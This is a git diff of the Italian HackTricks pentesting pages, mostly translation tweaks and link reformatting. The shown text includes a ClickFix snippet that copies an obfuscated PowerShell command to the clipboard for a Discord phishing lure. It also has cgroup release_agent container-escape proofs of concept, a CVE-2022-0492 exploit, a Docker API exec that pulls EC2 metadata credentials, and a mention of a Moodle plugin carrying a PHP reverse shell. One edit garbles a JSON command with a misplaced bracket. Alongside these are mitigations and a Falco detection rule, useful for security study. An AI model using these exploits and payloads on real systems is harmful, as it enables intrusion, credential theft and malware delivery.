diff --git a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md index 82c93b751..f5d455e34 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md @@ -21,10 +21,10 @@ La vulnerabilità del sistema di inviti di Discord consente agli attori delle mi - Creare o utilizzare un server Discord esistente con privilegi di Potenziamento di Livello 3. - In **Impostazioni Server → URL Vanity**, tentare di assegnare il codice di invito target. Se accettato, il codice è riservato dal server malevolo. 3. Attivazione del Dirottamento -- Per inviti temporanei, attendere fino a quando l'invito originale scade (o eliminarlo manualmente se controlli la sorgente). +- Per inviti temporanei, attendere che l'invito originale scada (o eliminarlo manualmente se controlli la sorgente). - Per codici contenenti lettere maiuscole, la variante minuscola può essere rivendicata immediatamente, anche se il reindirizzamento si attiva solo dopo la scadenza. 4. Reindirizzamento Silenzioso -- Gli utenti che visitano il vecchio link vengono inviati senza problemi al server controllato dall'attaccante una volta che il dirottamento è attivo. +- Gli utenti che visitano il vecchio link vengono inviati senza soluzione di continuità al server controllato dall'attaccante una volta che il dirottamento è attivo. ## Flusso di Phishing tramite Server Discord @@ -35,7 +35,7 @@ La vulnerabilità del sistema di inviti di Discord consente agli attori delle mi - Visualizzare un messaggio CAPTCHA rotto. - Guidare gli utenti ad aprire la finestra di dialogo **Win+R**, incollare un comando PowerShell precaricato e premere Invio. -### Esempio di Iniezione negli Appunti ClickFix +### Esempio di Iniezione Clipboard ClickFix ```javascript // Copy malicious PowerShell command to clipboard const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';` + @@ -55,7 +55,7 @@ Questo approccio evita download diretti di file e sfrutta elementi UI familiari ## Riferimenti -- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/ -- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link +- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/) +- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index ad134cfcb..b2cf45eac 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -4,7 +4,9 @@ **Per ulteriori dettagli, fare riferimento al** [**post originale del blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Questo è solo un riassunto: -Original PoC: +--- + +## PoC classica (2019) ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release @@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` -La prova di concetto (PoC) dimostra un metodo per sfruttare i cgroups creando un file `release_agent` e attivando la sua invocazione per eseguire comandi arbitrari sull'host del container. Ecco una suddivisione dei passaggi coinvolti: +Il PoC sfrutta la funzionalità **cgroup-v1** `release_agent`: quando l'ultimo task di un cgroup che ha `notify_on_release=1` termina, il kernel (negli **spazi dei nomi iniziali sull'host**) esegue il programma il cui pathname è memorizzato nel file scrivibile `release_agent`. Poiché tale esecuzione avviene con **privilegi di root completi sull'host**, ottenere accesso in scrittura al file è sufficiente per un'uscita dal container. + +### Breve guida leggibile + +1. **Preparare un nuovo cgroup** -1. **Preparare l'Ambiente:** -- Viene creata una directory `/tmp/cgrp` per fungere da punto di montaggio per il cgroup. -- Il controller cgroup RDMA è montato su questa directory. In caso di assenza del controller RDMA, si suggerisce di utilizzare il controller cgroup `memory` come alternativa. -```shell -mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x -``` -2. **Imposta il Cgroup Figlio:** -- Viene creato un cgroup figlio chiamato "x" all'interno della directory cgroup montata. -- Le notifiche sono abilitate per il cgroup "x" scrivendo 1 nel suo file notify_on_release. ```shell +mkdir /tmp/cgrp +mount -t cgroup -o rdma cgroup /tmp/cgrp # o –o memory +mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release ``` -3. **Configura il Release Agent:** -- Il percorso del container sull'host è ottenuto dal file /etc/mtab. -- Il file release_agent del cgroup è quindi configurato per eseguire uno script chiamato /cmd situato nel percorso host acquisito. + +2. **Puntare `release_agent` a uno script controllato dall'attaccante sull'host** + ```shell -host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` +host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` -4. **Crea e Configura lo Script /cmd:** -- Lo script /cmd viene creato all'interno del container e viene configurato per eseguire ps aux, reindirizzando l'output a un file chiamato /output nel container. Il percorso completo di /output sull'host è specificato. + +3. **Rilasciare il payload** + ```shell -echo '#!/bin/sh' > /cmd -echo "ps aux > $host_path/output" >> /cmd -chmod a+x /cmd +cat <<'EOF' > /cmd +#!/bin/sh +ps aux > "$host_path/output" +EOF +chmod +x /cmd ``` -5. **Attivare l'attacco:** -- Un processo viene avviato all'interno del cgroup figlio "x" e viene immediatamente terminato. -- Questo attiva il `release_agent` (lo script /cmd), che esegue ps aux sull'host e scrive l'output in /output all'interno del container. + +4. **Attivare il notifier** + ```shell -sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" +sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # aggiungiamo noi stessi e usciamo immediatamente +cat /output # ora contiene i processi dell'host ``` + +--- + +## Vulnerabilità del kernel 2022 – CVE-2022-0492 + +Nel febbraio 2022 Yiqi Sun e Kevin Wang hanno scoperto che **il kernel non verificava *le* capacità quando un processo scriveva in `release_agent` in cgroup-v1** (funzione `cgroup_release_agent_write`). + +Effettivamente **qualsiasi processo che poteva montare una gerarchia cgroup (ad es. tramite `unshare -UrC`) poteva scrivere un percorso arbitrario in `release_agent` senza `CAP_SYS_ADMIN` nello *spazio dei nomi* utente *iniziale***. Su un container Docker/Kubernetes in esecuzione come root e configurato di default, questo ha permesso: + +* escalation dei privilegi a root sull'host; ↗ +* uscita dal container senza che il container fosse privilegiato. + +Il difetto è stato assegnato **CVE-2022-0492** (CVSS 7.8 / Alto) e corretto nelle seguenti versioni del kernel (e tutte le successive): + +* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299. + +Commit di patch: `1e85af15da28 "cgroup: Fix permission checking"`. + +### Exploit minimo all'interno di un container +```bash +# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside +apk add --no-cache util-linux # provides unshare +unshare -UrCm sh -c ' +mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c; +echo 1 > /tmp/c/notify_on_release; +echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host +(sleep 1; echo 0 > /tmp/c/cgroup.procs) & +while true; do sleep 1; done +' +``` +Se il kernel è vulnerabile, il binario busybox dal *host* viene eseguito con pieno accesso root. + +### Indurimento e mitigazioni + +* **Aggiorna il kernel** (≥ versioni superiori). Il patch ora richiede `CAP_SYS_ADMIN` nel *namespace* utente *iniziale* per scrivere su `release_agent`. +* **Preferisci cgroup-v2** – la gerarchia unificata **ha rimosso completamente la funzionalità `release_agent`**, eliminando questa classe di escape. +* **Disabilita i namespace utente non privilegiati** su host che non ne hanno bisogno: +```shell +sysctl -w kernel.unprivileged_userns_clone=0 +``` +* **Controllo di accesso obbligatorio**: le politiche AppArmor/SELinux che negano `mount`, `openat` su `/sys/fs/cgroup/**/release_agent`, o rimuovono `CAP_SYS_ADMIN`, fermano la tecnica anche su kernel vulnerabili. +* **Maschera di bind in sola lettura** per tutti i file `release_agent` (esempio di script Palo Alto): +```shell +for f in $(find /sys/fs/cgroup -name release_agent); do +mount --bind -o ro /dev/null "$f" +done +``` + +## Rilevamento in tempo reale + +[`Falco`](https://falco.org/) include una regola integrata dalla v0.32: +```yaml +- rule: Detect release_agent File Container Escapes +desc: Detect an attempt to exploit a container escape using release_agent +condition: open_write and container and fd.name endswith release_agent and +(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and +thread.cap_effective contains CAP_SYS_ADMIN +output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)" +priority: CRITICAL +tags: [container, privilege_escalation] +``` +La regola si attiva su qualsiasi tentativo di scrittura a `*/release_agent` da un processo all'interno di un contenitore che detiene ancora `CAP_SYS_ADMIN`. + +## Riferimenti + +* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – analisi dettagliata e script di mitigazione. +* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/) + {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/1099-pentesting-java-rmi.md b/src/network-services-pentesting/1099-pentesting-java-rmi.md index a085a534c..6b1c9b3ee 100644 --- a/src/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/src/network-services-pentesting/1099-pentesting-java-rmi.md @@ -16,18 +16,18 @@ PORT STATE SERVICE VERSION ``` Di solito, solo i componenti predefiniti _Java RMI_ (il _RMI Registry_ e il _Activation System_) sono associati a porte comuni. Gli _oggetti remoti_ che implementano l'applicazione _RMI_ effettiva sono solitamente associati a porte casuali come mostrato nell'output sopra. -_nmap_ ha a volte problemi nell'identificare i servizi _RMI_ protetti da _SSL_. Se incontri un servizio ssl sconosciuto su una porta _RMI_ comune, dovresti indagare ulteriormente. +_nmap_ ha a volte difficoltà a identificare i servizi _RMI_ protetti da _SSL_. Se incontri un servizio ssl sconosciuto su una porta _RMI_ comune, dovresti indagare ulteriormente. ## Componenti RMI Per dirla in termini semplici, _Java RMI_ consente a uno sviluppatore di rendere un _oggetto Java_ disponibile sulla rete. Questo apre una porta _TCP_ a cui i client possono connettersi e chiamare metodi sull'oggetto corrispondente. Anche se sembra semplice, ci sono diverse sfide che _Java RMI_ deve affrontare: -1. Per inviare una chiamata di metodo tramite _Java RMI_, i client devono conoscere l'indirizzo IP, la porta in ascolto, la classe o interfaccia implementata e l'`ObjID` dell'oggetto target (l'`ObjID` è un identificatore unico e casuale che viene creato quando l'oggetto viene reso disponibile sulla rete. È necessario perché _Java RMI_ consente a più oggetti di ascoltare sulla stessa porta _TCP_). +1. Per inviare una chiamata a un metodo tramite _Java RMI_, i client devono conoscere l'indirizzo IP, la porta di ascolto, la classe o interfaccia implementata e l'`ObjID` dell'oggetto target (l'`ObjID` è un identificatore unico e casuale che viene creato quando l'oggetto viene reso disponibile sulla rete. È necessario perché _Java RMI_ consente a più oggetti di ascoltare sulla stessa porta _TCP_). 2. I client remoti possono allocare risorse sul server invocando metodi sull'oggetto esposto. La _Java virtual machine_ deve tenere traccia di quali di queste risorse sono ancora in uso e quali possono essere raccolte come spazzatura. -La prima sfida è risolta dal _RMI registry_, che è fondamentalmente un servizio di denominazione per _Java RMI_. Il _RMI registry_ stesso è anche un _servizio RMI_, ma l'interfaccia implementata e l'`ObjID` sono fissi e noti a tutti i client _RMI_. Questo consente ai client _RMI_ di consumare il _RMI registry_ semplicemente conoscendo la corrispondente porta _TCP_. +La prima sfida è risolta dal _RMI registry_, che è fondamentalmente un servizio di denominazione per _Java RMI_. Il _RMI registry_ stesso è anche un _RMI service_, ma l'interfaccia implementata e l'`ObjID` sono fissi e noti a tutti i client _RMI_. Questo consente ai client _RMI_ di consumare il _RMI registry_ semplicemente conoscendo la corrispondente porta _TCP_. -Quando gli sviluppatori vogliono rendere i loro _oggetti Java_ disponibili all'interno della rete, di solito li associano a un _RMI registry_. Il _registry_ memorizza tutte le informazioni necessarie per connettersi all'oggetto (indirizzo IP, porta in ascolto, classe o interfaccia implementata e valore `ObjID`) e le rende disponibili sotto un nome leggibile dall'uomo (il _bound name_). I client che vogliono consumare il _servizio RMI_ chiedono al _RMI registry_ il corrispondente _bound name_ e il registry restituisce tutte le informazioni necessarie per connettersi. Pertanto, la situazione è fondamentalmente la stessa di un normale servizio _DNS_. Il seguente elenco mostra un piccolo esempio: +Quando gli sviluppatori vogliono rendere i loro _oggetti Java_ disponibili all'interno della rete, di solito li associano a un _RMI registry_. Il _registry_ memorizza tutte le informazioni necessarie per connettersi all'oggetto (indirizzo IP, porta di ascolto, classe o interfaccia implementata e valore `ObjID`) e le rende disponibili sotto un nome leggibile dall'uomo (il _bound name_). I client che vogliono consumare il _RMI service_ chiedono al _RMI registry_ il corrispondente _bound name_ e il registry restituisce tutte le informazioni necessarie per connettersi. Pertanto, la situazione è fondamentalmente la stessa di un normale servizio _DNS_. Il seguente elenco mostra un piccolo esempio: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; @@ -51,15 +51,15 @@ e.printStackTrace(); } } ``` -La seconda delle sfide sopra menzionate è risolta dal _Distributed Garbage Collector_ (_DGC_). Questo è un altro _RMI service_ con un valore `ObjID` ben noto ed è disponibile praticamente su ogni _RMI endpoint_. Quando un _RMI client_ inizia a utilizzare un _RMI service_, invia un'informazione al _DGC_ che l'oggetto _remote_ corrispondente è in uso. Il _DGC_ può quindi tenere traccia del conteggio dei riferimenti ed è in grado di pulire gli oggetti non utilizzati. +La seconda delle sfide sopra menzionate è risolta dal _Distributed Garbage Collector_ (_DGC_). Questo è un altro _RMI service_ con un valore `ObjID` ben noto ed è disponibile praticamente su ogni _RMI endpoint_. Quando un _RMI client_ inizia a utilizzare un _RMI service_, invia un'informazione al _DGC_ che il corrispondente _remote object_ è in uso. Il _DGC_ può quindi tenere traccia del conteggio dei riferimenti ed è in grado di pulire gli oggetti non utilizzati. -Insieme al _Activation System_ deprecato, questi sono i tre componenti predefiniti di _Java RMI_: +Insieme al deprecato _Activation System_, questi sono i tre componenti predefiniti di _Java RMI_: 1. Il _RMI Registry_ (`ObjID = 0`) -2. Il _Activation System_ (`ObjID = 1`) +2. L' _Activation System_ (`ObjID = 1`) 3. Il _Distributed Garbage Collector_ (`ObjID = 2`) -I componenti predefiniti di _Java RMI_ sono stati noti vettori di attacco per un bel po' di tempo e esistono più vulnerabilità nelle versioni obsolete di _Java_. Dal punto di vista di un attaccante, questi componenti predefiniti sono interessanti, perché implementano classi / interfacce note ed è facilmente possibile interagire con essi. Questa situazione è diversa per i _RMI services_ personalizzati. Per chiamare un metodo su un oggetto _remote_, è necessario conoscere in anticipo la corrispondente firma del metodo. Senza conoscere una firma di metodo esistente, non c'è modo di comunicare con un _RMI service_. +I componenti predefiniti di _Java RMI_ sono stati noti vettori di attacco per un bel po' di tempo e esistono più vulnerabilità in versioni obsolete di _Java_. Dal punto di vista di un attaccante, questi componenti predefiniti sono interessanti, perché implementano classi / interfacce note ed è facilmente possibile interagire con essi. Questa situazione è diversa per i _RMI services_ personalizzati. Per chiamare un metodo su un _remote object_, è necessario conoscere in anticipo la corrispondente firma del metodo. Senza conoscere una firma di metodo esistente, non c'è modo di comunicare con un _RMI service_. ## RMI Enumeration @@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010 [+] [+] RMI server codebase enumeration: [+] -[+] - http://iinsecure.dev/well-hidden-development-folder/ +[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/) [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> de.qtc.rmg.server.interfaces.IPlainServer [+] @@ -123,7 +123,7 @@ $ rmg enum 172.17.0.2 9010 [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` -L'output dell'azione di enumerazione è spiegato in maggiore dettaglio nelle [pagine di documentazione](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) del progetto. A seconda del risultato, dovresti cercare di verificare le vulnerabilità identificate. +L'output dell'azione di enumerazione è spiegato in maggior dettaglio nelle [pagine di documentazione](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) del progetto. A seconda del risultato, dovresti cercare di verificare le vulnerabilità identificate. I valori `ObjID` visualizzati da _remote-method-guesser_ possono essere utilizzati per determinare il tempo di attività del servizio. Questo può consentire di identificare altre vulnerabilità: ``` @@ -209,7 +209,7 @@ Oltre a indovinare, dovresti anche cercare nei motori di ricerca o su _GitHub_ p ## Interfacce Conosciute -[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) contrassegna classi o interfacce come `known` se sono elencate nel database interno dello strumento di _RMI services_ conosciuti. In questi casi puoi usare l'azione `known` per ottenere maggiori informazioni sul corrispondente _RMI service_: +[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) segna classi o interfacce come `known` se sono elencate nel database interno dello strumento di servizi _RMI_ conosciuti. In questi casi puoi usare l'azione `known` per ottenere maggiori informazioni sul corrispondente servizio _RMI_: ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: @@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: -[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html -[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi +[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html) +[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi) [+] [+] Vulnerabilities: [+] @@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: -[+] - https://github.com/qtc-de/beanshooter +[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) [+] [+] ----------------------------------- [+] Name: @@ -266,7 +266,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: -[+] - https://github.com/qtc-de/beanshooter +[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) ``` ## Shodan diff --git a/src/network-services-pentesting/2375-pentesting-docker.md b/src/network-services-pentesting/2375-pentesting-docker.md index b8e0f063c..53f728217 100644 --- a/src/network-services-pentesting/2375-pentesting-docker.md +++ b/src/network-services-pentesting/2375-pentesting-docker.md @@ -6,15 +6,15 @@ #### Cos'è -Docker è la **piattaforma all'avanguardia** nell'**industria della containerizzazione**, guidando la **continua innovazione**. Facilita la creazione e distribuzione senza sforzo di applicazioni, che spaziano da **tradizionali a futuristiche**, e assicura il loro **distribuzione sicura** in diversi ambienti. +Docker è la **piattaforma all'avanguardia** nell'**industria della containerizzazione**, guidando **l'innovazione continua**. Facilita la creazione e distribuzione senza sforzo di applicazioni, che spaziano da **tradizionali a futuristiche**, e assicura il loro **distribuzione sicura** in ambienti diversi. #### Architettura di base di docker -- [**containerd**](http://containerd.io): Questo è un **runtime core** per i container, incaricato della **gestione completa del ciclo di vita di un container**. Ciò comporta la gestione del **trasferimento e della memorizzazione delle immagini**, oltre a supervisionare l'**esecuzione, il monitoraggio e il networking** dei container. **Ulteriori approfondimenti** su containerd sono **esplorati ulteriormente**. -- Il **container-shim** svolge un ruolo critico come **intermediario** nella gestione dei **container senza testa**, prendendo il controllo senza soluzione di continuità da **runc** dopo che i container sono stati inizializzati. -- [**runc**](http://runc.io): Rinomato per le sue capacità di **runtime per container leggero e universale**, runc è allineato con il **standard OCI**. Viene utilizzato da containerd per **avviare e gestire i container** secondo le **linee guida OCI**, essendo evoluto dall'originale **libcontainer**. +- [**containerd**](http://containerd.io): Questo è un **runtime core** per i container, incaricato della **gestione completa del ciclo di vita di un container**. Ciò comporta la gestione del **trasferimento e della memorizzazione delle immagini**, oltre a supervisionare l'**esecuzione, il monitoraggio e la rete** dei container. **Ulteriori approfondimenti** su containerd sono **esplorati ulteriormente**. +- Il **container-shim** svolge un ruolo critico come **intermediario** nella gestione dei **container senza testa**, prendendo il controllo da **runc** dopo che i container sono stati inizializzati. +- [**runc**](http://runc.io): Rinomato per le sue capacità di **runtime per container leggero e universale**, runc è allineato con lo **standard OCI**. Viene utilizzato da containerd per **avviare e gestire i container** secondo le **linee guida OCI**, essendo evoluto dall'originale **libcontainer**. - [**grpc**](http://www.grpc.io) è essenziale per **facilitare la comunicazione** tra containerd e il **docker-engine**, garantendo un'**interazione efficiente**. -- L' [**OCI**](https://www.opencontainers.org) è fondamentale per mantenere le **specifiche OCI** per runtime e immagini, con le ultime versioni di Docker che sono **conformi sia agli standard delle immagini che a quelli del runtime OCI**. +- L' [**OCI**](https://www.opencontainers.org) è fondamentale per mantenere le **specifiche OCI** per runtime e immagini, con le ultime versioni di Docker che sono **conformi sia agli standard delle immagini OCI che a quelli del runtime**. #### Comandi di base ```bash @@ -41,7 +41,7 @@ docker system prune -a ``` #### Containerd -**Containerd** è stato sviluppato specificamente per soddisfare le esigenze delle piattaforme container come **Docker e Kubernetes**, tra le altre. Mira a **semplificare l'esecuzione dei container** su vari sistemi operativi, tra cui Linux, Windows, Solaris e altri, astrando le funzionalità specifiche del sistema operativo e le chiamate di sistema. L'obiettivo di Containerd è includere solo le funzionalità essenziali richieste dai suoi utenti, cercando di omettere componenti non necessari. Tuttavia, raggiungere completamente questo obiettivo è riconosciuto come una sfida. +**Containerd** è stato sviluppato specificamente per soddisfare le esigenze delle piattaforme container come **Docker e Kubernetes**, tra gli altri. Mira a **semplificare l'esecuzione dei container** su vari sistemi operativi, tra cui Linux, Windows, Solaris e altri, astrando le funzionalità specifiche del sistema operativo e le chiamate di sistema. L'obiettivo di Containerd è includere solo le funzionalità essenziali richieste dai suoi utenti, cercando di omettere componenti non necessari. Tuttavia, raggiungere completamente questo obiettivo è riconosciuto come una sfida. Una decisione chiave nel design è che **Containerd non gestisce la rete**. La rete è considerata un elemento critico nei sistemi distribuiti, con complessità come il Software Defined Networking (SDN) e la scoperta dei servizi che variano significativamente da una piattaforma all'altra. Pertanto, Containerd lascia gli aspetti di rete da gestire alle piattaforme che supporta. @@ -75,8 +75,8 @@ Podman è progettato per essere compatibile con l'API di Docker, consentendo l'u L'approccio di Podman offre un'alternativa sicura e flessibile a Docker, enfatizzando la gestione dei privilegi degli utenti e la compatibilità con i flussi di lavoro Docker esistenti. -> [!NOTE] -> Nota che poiché podman mira a supportare la stessa API di docker, puoi utilizzare gli stessi comandi con podman come con docker, come ad esempio: +> [!TIP] +> Nota che poiché podman mira a supportare la stessa API di docker, puoi utilizzare gli stessi comandi con podman come con docker, ad esempio: > > ```bash > podman --version @@ -87,7 +87,7 @@ L'approccio di Podman offre un'alternativa sicura e flessibile a Docker, enfatiz ### Informazioni di Base -L'API remota è in esecuzione per impostazione predefinita sulla porta 2375 quando abilitata. Il servizio per impostazione predefinita non richiederà autenticazione, consentendo a un attaccante di avviare un container docker privilegiato. Utilizzando l'API remota, è possibile allegare host / (directory root) al container e leggere/scrivere file nell'ambiente dell'host. +L'API remota è in esecuzione per impostazione predefinita sulla porta 2375 quando abilitata. Il servizio per impostazione predefinita non richiederà autenticazione, consentendo a un attaccante di avviare un container docker privilegiato. Utilizzando l'API remota, è possibile allegare host / (directory radice) al container e leggere/scrivere file dell'ambiente dell'host. **Porta predefinita:** 2375 ``` @@ -134,9 +134,9 @@ docker-init: Version: 0.18.0 GitCommit: fec3683 ``` -Se puoi **contattare l'API docker remota con il comando `docker`** puoi **eseguire** qualsiasi dei **comandi docker** [**precedentemente** commentati](2375-pentesting-docker.md#basic-commands) per interagire con il servizio. +Se puoi **contattare l'API docker remota con il comando `docker`** puoi **eseguire** qualsiasi dei **comandi** [**docker precedentemente** commentati](2375-pentesting-docker.md#basic-commands) per interagire con il servizio. -> [!NOTE] +> [!TIP] > Puoi `export DOCKER_HOST="tcp://localhost:2375"` e **evitare** di usare il parametro `-H` con il comando docker **Veloce escalation dei privilegi** @@ -152,7 +152,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq #List processes inside a container curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq #Set up and exec job to hit the metadata URL -curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' +curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'] #Get the output curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}' # list secrets (no secrets/swarm not set up) diff --git a/src/network-services-pentesting/pentesting-web/joomla.md b/src/network-services-pentesting/pentesting-web/joomla.md index 9579c46ff..32e449c57 100644 --- a/src/network-services-pentesting/pentesting-web/joomla.md +++ b/src/network-services-pentesting/pentesting-web/joomla.md @@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator 1- What is this? * This is a Joomla! installation/upgrade package to version 3.x * Joomla! Official site: https://www.joomla.org -* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history +* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history) * Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging ``` ### Versione @@ -104,9 +104,9 @@ Se sei riuscito a ottenere **credenziali admin**, puoi **RCE all'interno di esso ## Da XSS a RCE - [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Script di sfruttamento Joomla che **eleva XSS a RCE o altre vulnerabilità critiche**. Per ulteriori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Joomla 5.X.X, 4.X.X e 3.X.X, e consente di:** -- _**Privilegi di Escalation:**_ Crea un utente in Joomla. -- _**(RCE) Modifica Template Integrati:**_ Modifica un Template Integrato in Joomla. -- _**(Custom) Sfruttamenti Personalizzati:**_ Sfruttamenti Personalizzati per Plugin Joomla di Terze Parti. +- _**Escalation dei privilegi:**_ Crea un utente in Joomla. +- _**(RCE) Modifica dei template integrati:**_ Modifica un template integrato in Joomla. +- _**(Custom) Sfruttamenti personalizzati:**_ Sfruttamenti personalizzati per plugin Joomla di terze parti. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index 5918a81c1..8a9a8be51 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php 3.10.0-beta [+] Possible interesting urls found: -Static readme file. - http://moodle.schooled.htb/moodle/README.txt -Admin panel - http://moodle.schooled.htb/moodle/login/ +Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt) +Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/) [+] Scan finished (0:00:05.643539 elapsed) ``` @@ -70,9 +70,9 @@ Devi avere il ruolo di **manager** e puoi **installare plugin** all'interno dell ![](<../../images/image (630).png>) -Se sei un manager, potresti comunque dover **attivare questa opzione**. Puoi vedere come nel PoC di escalation dei privilegi di moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). +Se sei manager potresti comunque dover **attivare questa opzione**. Puoi vedere come nel PoC di escalation dei privilegi di moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). -Poi, puoi **installare il seguente plugin** che contiene il classico pentest-monkey php r**ev shell** (_prima di caricarlo devi decomprimerlo, cambiare l'IP e la porta del revshell e ricomprimerlo di nuovo_) +Poi, puoi **installare il seguente plugin** che contiene la classica r**ev shell** php di pentest-monkey (_prima di caricarlo devi decomprimerlo, cambiare l'IP e la porta della 